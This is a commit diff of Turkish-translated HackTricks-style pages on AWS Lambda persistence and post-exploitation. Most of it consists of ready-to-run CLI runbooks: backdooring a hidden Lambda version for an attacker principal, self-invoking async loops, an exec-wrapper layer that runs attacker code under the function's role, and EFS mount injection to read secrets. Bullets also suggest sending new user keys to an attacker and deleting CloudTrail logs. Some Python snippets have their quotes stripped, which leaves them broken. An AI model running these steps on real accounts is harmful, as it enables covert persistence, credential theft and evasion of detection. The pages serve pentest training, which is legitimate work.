Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/

This commit is contained in:
Translator
2025-10-06 23:07:24 +00:00
parent 7d14d20a4a
commit 63ad6bf279
13 changed files with 910 additions and 95 deletions
@@ -1,64 +1,91 @@
# AWS - Lambda Sürekliliği
# AWS - Lambda Kalıcılığı
{{#include ../../../../banners/hacktricks-training.md}}
## Lambda
Daha fazla bilgi için kontrol edin:
Daha fazla bilgi için bakınız:
{{#ref}}
../../aws-services/aws-lambda-enum.md
{{#endref}}
### Lambda Katmanı Sürekliliği
### Lambda Layer Persistence
Lambda çalıştırıldığında **rastgele kod çalıştırmak için bir katman tanıtmak/arka kapı oluşturmak** mümkündür:
Lambda çalıştırıldığında gizli bir şekilde rastgele kod çalıştırmak için bir **layer eklemek/backdoor koymak** mümkündür:
{{#ref}}
aws-lambda-layers-persistence.md
{{#endref}}
### Lambda Uzantı Sürekliliği
### Lambda Extension Persistence
Lambda Katmanlarını kötüye kullanarak uzantıları da kötüye kullanmak ve lambda'da kalıcı olmak, ayrıca istekleri çalmak ve değiştirmek mümkündür.
Lambda Layers'ı kötüye kullanarak extension'ları da istismar etmek ve lambda içinde kalıcılık sağlamak; ayrıca istekleri çalmak ve değiştirmek mümkündür.
{{#ref}}
aws-abusing-lambda-extensions.md
{{#endref}}
### Kaynak politikaları aracılığıyla
### Via resource policies
Farklı lambda eylemlerine (örneğin çağırma veya kod güncelleme) dış hesaplara erişim vermek mümkündür:
Harici hesaplara farklı lambda eylemleri (ör. invoke veya update code) için erişim verebilmek mümkündür:
<figure><img src="../../../../images/image (255).png" alt=""><figcaption></figcaption></figure>
### Sürümler, Takma Adlar & Ağırlıklar
### Versions, Aliases & Weights
Bir Lambda'nın **farklı sürümleri** (her sürümde farklı kod) olabilir.\
Sonra, lambda'nın **farklı sürümleri ile farklı takma adlar** oluşturabilir ve her birine farklı ağırlıklar ayarlayabilirsiniz.\
Bu şekilde bir saldırgan **arka kapılı sürüm 1** ve **yalnızca meşru kod içeren sürüm 2** oluşturabilir ve **isteklerin %1'inde yalnızca sürüm 1'i çalıştırarak** gizli kalabilir.
Bir Lambda'nın **farklı versiyonları** (her versiyonda farklı kod olabilir) olabilir.\
Sonra, lambda'nın **farklı versiyonlarına işaret eden farklı alias'lar** oluşturup her birine farklı weight'ler atayabilirsiniz.\
Böylece bir saldırgan **backdoor'lu version 1** ve sadece meşru kod içeren **version 2** oluşturup, tespit edilmemek için isteklerin sadece %1'inde version 1'i çalıştırabilir.
<figure><img src="../../../../images/image (120).png" alt=""><figcaption></figcaption></figure>
### Sürüm Arka Kapısı + API Gateway
### Version Backdoor + API Gateway
1. Lambda'nın orijinal kodunu kopyalayın
2. Orijinal kodu (veya sadece kötü niyetli kod ile) **arka kapı oluşturarak yeni bir sürüm oluşturun**. Bu sürümü yayınlayın ve **$LATEST'e dağıtın**
1. Kodu çalıştırmak için lambda ile ilgili API geçidini çağırın
3. **Orijinal kod ile yeni bir sürüm oluşturun**, Bu **sürümü** yayınlayın ve **$LATEST'e dağıtın**.
1. Bu, arka kapılı kodu önceki bir sürümde gizleyecektir
4. API Gateway'e gidin ve **arka kapılı sürümü çalıştıracak yeni bir POST yöntemi oluşturun** (veya başka bir yöntemi seçin): `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
1. ARN'nin sonundaki :1'in **fonksiyonun sürümünü gösterdiğini** unutmayın (bu senaryoda sürüm 1 arka kapılı olan olacaktır).
5. Oluşturulan POST yöntemini seçin ve Eylemler'de **`API'yi Dağıt`** seçin
6. Artık, **POST aracılığıyla fonksiyonu çağırdığınızda Arka Kapınız** tetiklenecektir
1. Lambda'nın orijinal kodunu kopyalayın
2. Orijinal koda **backdoor ekleyerek yeni bir versiyon oluşturun** (veya sadece kötü amaçlı kod). Publish edin ve bu versiyonu **$LATEST** olarak deploy edin
3. Lambda ile ilişkili API gateway'i çağırarak kodu çalıştırın
4. Orijinal kodla **yeni bir versiyon oluşturun**, Publish edin ve o **versiyonu** $LATEST olarak deploy edin.
- Bu, backdoor'lu kodu önceki bir versiyon olarak gizler
5. API Gateway'e gidin ve backdoor'lu versiyonu çalıştıracak yeni bir POST methodu oluşturun (veya herhangi bir method seçin): `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
- ARN sonundaki :1 **fonksiyonun versiyonunu** gösterir (bu senaryoda versiyon 1 backdoor'lu olandır).
6. Oluşturduğunuz POST methodunu seçin ve Actions menüsünden **`Deploy API`** seçeneğini tıklayın
7. Artık fonksiyonu POST ile çağırdığınızda **Backdoor** tetiklenecektir
### Cron/Olay aktüatörü
### Cron/Event actuator
Bir şey olduğunda veya bir süre geçtiğinde **lambda fonksiyonlarının çalışmasını sağlamak**, lambda'yı süreklilik elde etmek ve tespiti önlemek için güzel ve yaygın bir yol haline getirir.\
AWS'deki **varlığınızı daha gizli hale getirmek için lambdalar oluşturma** konusunda bazı fikirler:
Lambda fonksiyonlarını bir şey olduğunda veya belli bir süre geçtiğinde çalıştırabilmeniz, lambda'yı kalıcılık sağlamak ve tespiti atlatmak için yaygın bir yol yapar.\
Aşağıda AWS içinde varlığınızı daha gizli tutmak için lambda oluşturarak yapabileceğiniz bazı fikirler var.
- Yeni bir kullanıcı oluşturulduğunda lambda yeni bir user key yaratıp saldırgana gönderir.
- Yeni bir role oluşturulduğunda lambda, ele geçirilmiş kullanıcılara assume role izinleri verir.
- Yeni cloudtrail log'ları üretildiğinde bunları siler/değiştirir.
### RCE abusing AWS_LAMBDA_EXEC_WRAPPER + Lambda Layers
Çalışma zamanı/handler başlamadan önce saldırgan kontrollü bir wrapper script çalıştırmak için `AWS_LAMBDA_EXEC_WRAPPER` environment variable'ını istismar edin. Wrapper'ı bir Lambda Layer ile `/opt/bin/htwrap` olarak sağlayın, `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap` olarak ayarlayın ve ardından fonksiyonu invoke edin. Wrapper, fonksiyon runtime sürecinde çalışır, fonksiyon execution role'unu miras alır ve en sonunda gerçek runtime'ı `exec`lediği için orijinal handler normal şekilde çalışmaya devam eder.
{{#ref}}
aws-lambda-exec-wrapper-persistence.md
{{#endref}}
### AWS - Lambda Function URL Public Exposure
Asenkron destinasyonları ve Recursion konfigürasyonunu kullanarak bir fonksiyonun kendi kendini dış bir scheduler olmadan (EventBridge, cron, vb. olmadan) sürekli yeniden invoke etmesini sağlayın. Varsayılan olarak, Lambda recursive döngüleri sonlandırır; ancak recursion config'i Allow olarak ayarlamak bunları yeniden etkinleştirir. Destinations, async invoke'lar için servis tarafında teslimat yaptığından, tek bir seed invoke gizli, kod gerektirmeyen bir heartbeat/backdoor kanalı yaratır. Gürültüyü düşük tutmak için isteğe bağlı olarak reserved concurrency ile throttle edebilirsiniz.
{{#ref}}
aws-lambda-async-self-loop-persistence.md
{{#endref}}
### AWS - Lambda Alias-Scoped Resource Policy Backdoor
Saldırgan mantığı içeren gizli bir Lambda versiyonu oluşturun ve `lambda add-permission` çalıştırırken `--qualifier` parametresi ile o özel versiyona (veya alias'a) resource-based policy scope edin. Sadece `lambda:InvokeFunction` yetkisini `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` üzerinde saldırgan-principal'e verin. Fonksiyon adı veya birincil alias üzerinden yapılan normal çağrılar etkilenmez; saldırgan doğrudan backdoor'lu versiyon ARN'sini invoke edebilir.
Bu, Function URL açmaktan daha gizlidir ve ana trafik alias'ını değiştirmez.
{{#ref}}
aws-lambda-alias-version-policy-backdoor.md
{{#endref}}
- Her yeni kullanıcı oluşturulduğunda lambda yeni bir kullanıcı anahtarı oluşturur ve bunu saldırgana gönderir.
- Her yeni rol oluşturulduğunda lambda, tehlikeye atılmış kullanıcılara rol üstlenme izinleri verir.
- Her yeni cloudtrail günlüğü oluşturulduğunda, bunları silin/değiştirin
{{#include ../../../../banners/hacktricks-training.md}}
@@ -0,0 +1,88 @@
# AWS - Lambda Alias-Scoped Resource Policy Backdoor (Invoke specific hidden version)
{{#include ../../../../banners/hacktricks-training.md}}
## Özet
Saldırgan mantığı içeren gizli bir Lambda sürümü oluşturun ve `lambda add-permission` içindeki `--qualifier` parametresini kullanarak kaynak tabanlı bir policy'i o belirli sürüme (veya alias'a) uygulayın. Sadece `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` üzerindeki `lambda:InvokeFunction` iznini saldırgan principal'e verin. Fonksiyon adı veya birincil alias üzerinden yapılan normal çağrılar etkilenmez; ancak saldırgan arka kapılı sürümün ARN'sini doğrudan çağırabilir.
Bu, bir Function URL açığa çıkarmaya göre daha gizlidir ve birincil trafik alias'ını değiştirmez.
## Gerekli İzinler (saldırgan)
- `lambda:UpdateFunctionCode`, `lambda:UpdateFunctionConfiguration`, `lambda:PublishVersion`, `lambda:GetFunctionConfiguration`
- `lambda:AddPermission` (to add version-scoped resource policy)
- `iam:CreateRole`, `iam:PutRolePolicy`, `iam:GetRole`, `sts:AssumeRole` (to simulate an attacker principal)
## Saldırı Adımları (CLI)
<details>
<summary>Gizli sürümü yayımla, qualifier-kapsamlı izin ekle, saldırgan olarak çağır</summary>
```bash
# Vars
REGION=us-east-1
TARGET_FN=<target-lambda-name>
# [Optional] If you want normal traffic unaffected, ensure a customer alias (e.g., "main") stays on a clean version
# aws lambda create-alias --function-name "$TARGET_FN" --name main --function-version <clean-version> --region "$REGION"
# 1) Build a small backdoor handler and publish as a new version
cat > bdoor.py <<PY
import json, os, boto3
def lambda_handler(e, c):
ident = boto3.client(sts).get_caller_identity()
return {"ht": True, "who": ident, "env": {"fn": os.getenv(AWS_LAMBDA_FUNCTION_NAME)}}
PY
zip bdoor.zip bdoor.py
aws lambda update-function-code --function-name "$TARGET_FN" --zip-file fileb://bdoor.zip --region $REGION
aws lambda update-function-configuration --function-name "$TARGET_FN" --handler bdoor.lambda_handler --region $REGION
until [ "$(aws lambda get-function-configuration --function-name "$TARGET_FN" --region $REGION --query LastUpdateStatus --output text)" = "Successful" ]; do sleep 2; done
VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
VER_ARN=$(aws lambda get-function --function-name "$TARGET_FN:$VER" --region $REGION --query Configuration.FunctionArn --output text)
echo "Published version: $VER ($VER_ARN)"
# 2) Create an attacker principal and allow only version invocation (same-account simulation)
ATTACK_ROLE_NAME=ht-version-invoker
aws iam create-role --role-name $ATTACK_ROLE_NAME --assume-role-policy-document Version:2012-10-17 >/dev/null
cat > /tmp/invoke-policy.json <<POL
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Action": ["lambda:InvokeFunction"],
"Resource": ["$VER_ARN"]
}]
}
POL
aws iam put-role-policy --role-name $ATTACK_ROLE_NAME --policy-name ht-invoke-version --policy-document file:///tmp/invoke-policy.json
# Add resource-based policy scoped to the version (Qualifier)
aws lambda add-permission \
--function-name "$TARGET_FN" \
--qualifier "$VER" \
--statement-id ht-version-backdoor \
--action lambda:InvokeFunction \
--principal arn:aws:iam::$(aws sts get-caller-identity --query Account --output text):role/$ATTACK_ROLE_NAME \
--region $REGION
# 3) Assume the attacker role and invoke only the qualified version
ATTACK_ROLE_ARN=arn:aws:iam::$(aws sts get-caller-identity --query Account --output text):role/$ATTACK_ROLE_NAME
CREDS=$(aws sts assume-role --role-arn "$ATTACK_ROLE_ARN" --role-session-name htInvoke --query Credentials --output json)
export AWS_ACCESS_KEY_ID=$(echo $CREDS | jq -r .AccessKeyId)
export AWS_SECRET_ACCESS_KEY=$(echo $CREDS | jq -r .SecretAccessKey)
export AWS_SESSION_TOKEN=$(echo $CREDS | jq -r .SessionToken)
aws lambda invoke --function-name "$VER_ARN" /tmp/ver-out.json --region $REGION >/dev/null
cat /tmp/ver-out.json
# 4) Clean up backdoor (remove only the version-scoped statement). Optionally remove the role
aws lambda remove-permission --function-name "$TARGET_FN" --statement-id ht-version-backdoor --qualifier "$VER" --region $REGION || true
```
</details>
## Impact
- primary alias'ı değiştirmeden veya bir Function URL açığa çıkarmadan, fonksiyonun gizli bir version/alias'ını çağırmak için sinsi bir backdoor sağlar.
- Kaynak tabanlı politika `Qualifier` aracılığıyla yalnızca belirtilen version/alias'a maruziyeti sınırlar; tespit yüzeyini azaltırken attacker principal için güvenilir çağrıyı korur.
{{#include ../../../../banners/hacktricks-training.md}}
@@ -0,0 +1,92 @@
# AWS - Lambda Asenkron Kendi Kendine Döngü Kalıcılığı üzerinden Destinations + Recursion Allow
Lambda'nin asenkron destinations özelliğini Recursion yapılandırmasıyla kötüye kullanarak bir fonksiyonun harici bir zamanlayıcı (EventBridge, cron vb. olmadan) kendini sürekli yeniden invoke etmesini sağlayın. Varsayılan olarak Lambda, özyinelemeli döngüleri sonlandırır; ancak recursion konfigürasyonunu Allow olarak ayarlamak bunları yeniden etkinleştirir. Destinations, async invokes için servis tarafında teslimat yapar; bu nedenle tek bir başlangıç invoke'u kod gerektirmeyen, gizli bir heartbeat/backdoor kanalı oluşturur. Gürültüyü düşük tutmak için isteğe bağlı olarak reserved concurrency ile throttle edebilirsiniz.
Notlar
- Lambda doğrudan fonksiyonu kendi destination'ı olacak şekilde yapılandırmaya izin vermez. Destination olarak bir function alias kullanın ve execution role'un bu alias'ı invoke etmesine izin verin.
- Minimum izinler: hedef fonksiyonun event invoke config ve recursion config'ini okuma/güncelleme yetkisi, bir version publish etme ve alias yönetme, ve functionun execution role policy'sini alias üzerinde lambda:InvokeFunction iznini vermek için güncelleme yetkisi.
## Gereksinimler
- Region: us-east-1
- Vars:
- REGION=us-east-1
- TARGET_FN=<target-lambda-name>
## Adımlar
1) Fonksiyon ARN'sini ve mevcut Recursion ayarını alın
```
FN_ARN=$(aws lambda get-function --function-name "$TARGET_FN" --region $REGION --query Configuration.FunctionArn --output text)
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION || true
```
2) Bir sürüm yayınlayın ve bir alias oluşturun/güncelleyin (kendi hedefi olarak kullanılır)
```
VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
if ! aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION >/dev/null 2>&1; then
aws lambda create-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
else
aws lambda update-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
fi
ALIAS_ARN=$(aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION --query AliasArn --output text)
```
3) Fonksiyonun yürütme rolünün alias'ı çağırmasına izin verin (Lambda Destinations→Lambda tarafından gereklidir)
```
# Set this to the execution role name used by the target function
ROLE_NAME=<lambda-execution-role-name>
cat > /tmp/invoke-self-policy.json <<EOF
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "lambda:InvokeFunction",
"Resource": "${ALIAS_ARN}"
}
]
}
EOF
aws iam put-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --policy-document file:///tmp/invoke-self-policy.json --region $REGION
```
4) async destination'ı alias'a (self via alias) yapılandırın ve retries'i devre dışı bırakın
```
aws lambda put-function-event-invoke-config \
--function-name "$TARGET_FN" \
--destination-config OnSuccess={Destination=$ALIAS_ARN} \
--maximum-retry-attempts 0 \
--region $REGION
# Verify
aws lambda get-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION --query DestinationConfig
```
5) Özyinelemeli döngülere izin verin
```
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Allow --region $REGION
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION
```
6) Tek bir asenkron invoke tetikleyin
```
aws lambda invoke --function-name "$TARGET_FN" --invocation-type Event /tmp/seed.json --region $REGION >/dev/null
```
7) Sürekli çağrıları gözlemleyin (örnekler)
```
# Recent logs (if the function logs each run)
aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 20 --region $REGION --query events[].timestamp --output text
# or check CloudWatch Metrics for Invocations increasing
```
8) Opsiyonel gizli sınırlama
```
aws lambda put-function-concurrency --function-name "$TARGET_FN" --reserved-concurrent-executions 1 --region $REGION
```
## Temizlik
Döngüyü sonlandırın ve persistence'i kaldırın.
```
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Terminate --region $REGION
aws lambda delete-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION || true
aws lambda delete-function-concurrency --function-name "$TARGET_FN" --region $REGION || true
# Optional: delete alias and remove the inline policy when finished
aws lambda delete-alias --function-name "$TARGET_FN" --name loop --region $REGION || true
ROLE_NAME=<lambda-execution-role-name>
aws iam delete-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --region $REGION || true
```
## Impact
- Tek bir async invoke, Lambda'nın harici bir zamanlayıcı olmadan kendini sürekli yeniden çağırmasına neden olur; bu da gizli persistence/heartbeat'e olanak tanır. Reserved concurrency, gürültüyü tek bir warm execution ile sınırlayabilir.
@@ -0,0 +1,94 @@
# AWS - Lambda Exec Wrapper Layer Hijack (Pre-Handler RCE)
{{#include ../../../../banners/hacktricks-training.md}}
## Özet
Çalışma zamanı/handler başlamadan önce saldırgan kontrollü bir wrapper script'i çalıştırmak için ortam değişkeni `AWS_LAMBDA_EXEC_WRAPPER`'ı kötüye kullanın. Wrapper'ı bir Lambda Layer aracılığıyla `/opt/bin/htwrap` konumuna yerleştirin, `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap` olarak ayarlayın ve ardından fonksiyonu invoke edin. Wrapper, fonksiyonun runtime süreci içinde çalışır, fonksiyonun execution role'ünü devralır ve son olarak gerçek runtime'ı `exec` ederek orijinal handler'ın normal şekilde çalışmasını sağlar.
> [!WARNING]
> Bu teknik hedef Lambda'da kaynak kodunu veya rolünü değiştirmeden ve `iam:PassRole` ihtiyacı olmadan kod yürütme imkanı sağlar. Yalnızca function configuration'ı güncelleme ve bir layer yayınlama/ekleme yetkisine ihtiyacınız vardır.
## Gerekli İzinler (saldırgan)
- `lambda:UpdateFunctionConfiguration`
- `lambda:GetFunctionConfiguration`
- `lambda:InvokeFunction` (veya mevcut bir olay ile tetikleme)
- `lambda:ListFunctions`, `lambda:ListLayers`
- `lambda:PublishLayerVersion` (aynı hesapta) ve isteğe bağlı olarak `lambda:AddLayerVersionPermission` eğer hesaplar arası/genel bir layer kullanıyorsanız
## Wrapper Betiği
Wrapper'ı layer içinde `/opt/bin/htwrap` konumuna yerleştirin. Handler öncesi mantık çalıştırabilir ve gerçek runtime'a zincirlemek için `exec "$@"` ile bitmesi gerekir.
```bash
#!/bin/bash
set -euo pipefail
# Pre-handler actions (runs in runtime process context)
echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION"
python3 - <<'PY'
import boto3, json, os
try:
ident = boto3.client('sts').get_caller_identity()
print('[ht] sts identity:', json.dumps(ident))
except Exception as e:
print('[ht] sts error:', e)
PY
# Chain to the real runtime
exec "$@"
```
## Saldırı Adımları (CLI)
<details>
<summary>Layer yayınla, hedef function'a ekle, wrapper ayarla, invoke et</summary>
```bash
# Vars
REGION=us-east-1
TARGET_FN=<target-lambda-name>
# 1) Package wrapper at /opt/bin/htwrap
mkdir -p layer/bin
cat > layer/bin/htwrap <<'WRAP'
#!/bin/bash
set -euo pipefail
echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION"
python3 - <<'PY'
import boto3, json
print('[ht] sts identity:', __import__('json').dumps(__import__('boto3').client('sts').get_caller_identity()))
PY
exec "$@"
WRAP
chmod +x layer/bin/htwrap
(zip -qr htwrap-layer.zip layer)
# 2) Publish the layer
LAYER_ARN=$(aws lambda publish-layer-version \
--layer-name ht-exec-wrapper \
--zip-file fileb://htwrap-layer.zip \
--compatible-runtimes python3.11 python3.10 python3.9 nodejs20.x nodejs18.x java21 java17 dotnet8 \
--query LayerVersionArn --output text --region "$REGION")
echo "$LAYER_ARN"
# 3) Attach the layer and set AWS_LAMBDA_EXEC_WRAPPER
aws lambda update-function-configuration \
--function-name "$TARGET_FN" \
--layers "$LAYER_ARN" \
--environment "Variables={AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap}" \
--region "$REGION"
# Wait for update to finish
until [ "$(aws lambda get-function-configuration --function-name "$TARGET_FN" --query LastUpdateStatus --output text --region "$REGION")" = "Successful" ]; do sleep 2; done
# 4) Invoke and verify via CloudWatch Logs
aws lambda invoke --function-name "$TARGET_FN" /tmp/out.json --region "$REGION" >/dev/null
aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 50 --region "$REGION" --query 'events[].message' --output text
```
</details>
## Etki
- Fonksiyonun mevcut execution role'unu kullanarak, Lambda runtime bağlamında handler'dan önce kod yürütme.
- Fonksiyon kodu veya rolünde değişiklik gerektirmez; yaygın managed runtimes (Python, Node.js, Java, .NET) genelinde çalışır.
- Handler çalışmadan önce persistence, credential access (ör. STS), veri sızdırma ve runtime üzerinde müdahale sağlar.
{{#include ../../../../banners/hacktricks-training.md}}
@@ -4,32 +4,82 @@
## Lambda
Daha fazla bilgi için kontrol edin:
For more information check:
{{#ref}}
../../aws-services/aws-lambda-enum.md
{{#endref}}
### Lambda Kimlik Bilgilerini Sızdırma
### Exfilrtate Lambda Credentials
Lambda, çalışma zamanında kimlik bilgilerini enjekte etmek için ortam değişkenlerini kullanır. Eğer onlara erişim sağlayabilirseniz (örneğin `/proc/self/environ` dosyasını okuyarak veya savunmasız fonksiyonu kullanarak), onları kendiniz kullanabilirsiniz. Bu değişkenler varsayılan isimlerde `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY` ve `AWS_ACCESS_KEY_ID` olarak bulunur.
Lambda çalışma zamanında kimlik bilgilerini çevresel değişkenler aracılığıyla inject eder. Eğer bunlara erişebilirseniz (ör. `/proc/self/environ` okuyarak veya zafiyetli fonksiyonun kendisini kullanarak) bunları kendiniz kullanabilirsiniz. Bu bilgiler varsayılan olarak `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY` ve `AWS_ACCESS_KEY_ID` isimli değişkenlerde bulunur.
Varsayılan olarak, bunlar bir cloudwatch log grubuna yazma erişimine sahip olacaktır (grubun adı `AWS_LAMBDA_LOG_GROUP_NAME` içinde saklanır) ve ayrıca keyfi log grupları oluşturma yetkisine de sahiptir, ancak lambda fonksiyonları genellikle amaçlarına göre daha fazla izinle atanır.
Varsayılan olarak, bunların bir cloudwatch log group'una yazma erişimi vardır (adını `AWS_LAMBDA_LOG_GROUP_NAME` içinde saklar), ayrıca rastgele log group'ları oluşturma izni de bulunur; ancak Lambda fonksiyonlarına genellikle kullanım amaçlarına göre daha fazla izin atanır.
### Diğerlerinin Lambda URL İsteklerini Çalma
### Steal Others Lambda URL Requests
Eğer bir saldırgan bir şekilde bir Lambda içinde RCE elde ederse, diğer kullanıcıların lambda'ya yaptığı HTTP isteklerini çalma yeteneğine sahip olacaktır. Eğer istekler hassas bilgiler (çerezler, kimlik bilgileri...) içeriyorsa, onları çalma imkanı olacaktır.
Eğer bir attacker herhangi bir şekilde Lambda içinde RCE elde ederse, diğer kullanıcıların Lambda'ya gönderdiği HTTP isteklerini çalabilir. İstekler hassas bilgi (cookies, kimlik bilgileri...) içeriyorsa, bunları ele geçirebilir.
{{#ref}}
aws-warm-lambda-persistence.md
{{#endref}}
### Diğerlerinin Lambda URL İsteklerini ve Uzantı İsteklerini Çalma
### Steal Others Lambda URL Requests & Extensions Requests
Lambda Katmanlarını kötüye kullanarak, uzantıları kötüye kullanmak ve lambda içinde kalıcı olmak mümkün olduğu gibi, istekleri çalmak ve değiştirmek de mümkündür.
Lambda Layers'ı kötüye kullanarak extensions'ları istismar etmek ve Lambda içinde kalıcı olmak mümkündür; ayrıca istekleri çalmak ve değiştirmek de mümkündür.
{{#ref}}
../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
{{#endref}}
### AWS Lambda VPC Egress Bypass
Boş bir VpcConfig ile (SubnetIds=[], SecurityGroupIds=[]) yapılandırmayı güncelleyerek Lambda fonksiyonunu kısıtlı bir VPC'den çıkarmaya zorlayın. Fonksiyon daha sonra Lambda tarafından yönetilen ağ düzleminde çalışır, outbound internet erişimini yeniden kazanır ve NAT olmayan özel VPC alt ağları tarafından uygulanan egress kontrollerini atlatır.
{{#ref}}
aws-lambda-vpc-egress-bypass.md
{{#endref}}
### AWS Lambda Runtime Pinning/Rollback Abuse
`lambda:PutRuntimeManagementConfig`'i kullanarak bir fonksiyonu belirli bir runtime sürümüne pinleyin (Manual) veya güncellemeleri dondurun (FunctionUpdate). Bu, kötü amaçlı layer/wrapper'larla uyumluluğu korur ve fonksiyonu sömürüye yardımcı olmak ve uzun süreli kalıcılık sağlamak için eski, vuln bir runtime'ta tutabilir.
{{#ref}}
aws-lambda-runtime-pinning-abuse.md
{{#endref}}
### AWS Lambda Log Siphon via LoggingConfig.LogGroup Redirection
`lambda:UpdateFunctionConfiguration`'ın gelişmiş logging kontrollerini kullanarak bir fonksiyonun loglarını saldırganın seçtiği bir CloudWatch Logs log group'una yönlendirin. Bu, kodu veya execution role'u değiştirmeden çalışır (çoğu Lambda rolü zaten `AWSLambdaBasicExecutionRole` aracılığıyla `logs:CreateLogGroup/CreateLogStream/PutLogEvents` içerir). Fonksiyon gizli bilgileri/istek gövdelerini yazdırıyorsa veya stack trace ile çökerse, bunları yeni log group'tan toplayabilirsiniz.
{{#ref}}
aws-lambda-loggingconfig-redirection.md
{{#endref}}
### AWS - Lambda Function URL Public Exposure
Function URL AuthType'ı NONE yapıp herkese lambda:InvokeFunctionUrl veren resource-based bir politika ekleyerek özel bir Lambda Function URL'ini genel, kimlik doğrulamasız bir endpoint'e çevirin. Bu, iç fonksiyonların anonim çağrılmasına izin verir ve hassas backend işlemlerini açığa çıkarabilir.
{{#ref}}
aws-lambda-function-url-public-exposure.md
{{#endref}}
### AWS Lambda Event Source Mapping Target Hijack
`UpdateEventSourceMapping`'i kullanarak mevcut bir Event Source Mapping (ESM) hedef Lambda fonksiyonunu değiştirin; böylece DynamoDB Streams, Kinesis veya SQS'ten gelen kayıtlar saldırgan kontrollü bir fonksiyona teslim edilir. Bu, üreticilere veya orijinal fonksiyon koduna dokunmadan canlı veriyi sessizce saptırır.
{{#ref}}
aws-lambda-event-source-mapping-target-hijack.md
{{#endref}}
### AWS Lambda EFS Mount Injection data exfiltration
`lambda:UpdateFunctionConfiguration`'ı kullanarak var olan bir EFS Access Point'i Lambda'ya bağlayın, ardından mount edilen yoldan dosyaları listeleyen/okuyan basit kodu deploy ederek fonksiyonun daha önce erişemediği paylaşılan sırları/konfigürasyonu dışa aktarmak mümkün olur.
{{#ref}}
aws-lambda-efs-mount-injection.md
{{#endref}}
{{#include ../../../../banners/hacktricks-training.md}}
@@ -0,0 +1,74 @@
# AWS Lambda EFS Mount Injection via UpdateFunctionConfiguration (Veri Hırsızlığı)
Abuse `lambda:UpdateFunctionConfiguration` ile mevcut bir EFS Access Point'i bir Lambda'ya iliştirin, ardından monte edilen yol içindeki dosyaları listeleyen/okuyan basit kodu dağıtarak fonksiyonun daha önce erişemediği paylaşılan sırları/yapılandırmaları dışarı aktarın.
## Gereksinimler
- Hedef hesap/principal için izinler:
- `lambda:GetFunctionConfiguration`
- `lambda:ListFunctions` (fonksiyonları bulmak için)
- `lambda:UpdateFunctionConfiguration`
- `lambda:UpdateFunctionCode`
- `lambda:InvokeFunction`
- `efs:DescribeMountTargets` (mount target'ların varlığını doğrulamak için)
- Ortam varsayımları:
- Hedef Lambda VPC-etkin olmalı ve alt ağları/SG'leri EFS mount target SG'sine TCP/2049 üzerinden ulaşabilmeli (ör. role AWSLambdaVPCAccessExecutionRole sahip ve VPC yönlendirmesi izin veriyor).
- EFS Access Point aynı VPC içinde olmalı ve Lambda alt ağlarının AZ'lerinde mount target'lara sahip olmalı.
## Saldırı
- Değişkenler
```
REGION=us-east-1
TARGET_FN=<target-lambda-name>
EFS_AP_ARN=<efs-access-point-arn>
```
1) EFS Access Point'ı Lambda'ya bağlayın
```
aws lambda update-function-configuration \
--function-name $TARGET_FN \
--file-system-configs Arn=$EFS_AP_ARN,LocalMountPath=/mnt/ht \
--region $REGION
# wait until LastUpdateStatus == Successful
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
```
2) Kodu, dosyaları listeleyen ve aday secret/config dosyasının ilk 200 baytına göz atan basit bir okuyucu ile değiştirin
```
cat > reader.py <<PY
import os, json
BASE=/mnt/ht
def lambda_handler(e, c):
out={ls:[],peek:None}
try:
for root, dirs, files in os.walk(BASE):
for f in files:
p=os.path.join(root,f)
out[ls].append(p)
cand = next((p for p in out[ls] if secret in p.lower() or config in p.lower()), None)
if cand:
with open(cand,rb) as fh:
out[peek] = fh.read(200).decode(utf-8,ignore)
except Exception as ex:
out[err]=str(ex)
return out
PY
zip reader.zip reader.py
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://reader.zip --region $REGION
# If the original handler was different, set it to reader.lambda_handler
aws lambda update-function-configuration --function-name $TARGET_FN --handler reader.lambda_handler --region $REGION
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
```
3) Çağır ve veriyi al
```
aws lambda invoke --function-name $TARGET_FN /tmp/efs-out.json --region $REGION >/dev/null
cat /tmp/efs-out.json
```
Çıktı, /mnt/ht altında dizin listesini ve EFS'ten seçilmiş bir secret/config dosyasının küçük bir önizlemesini içermelidir.
## Etkisi
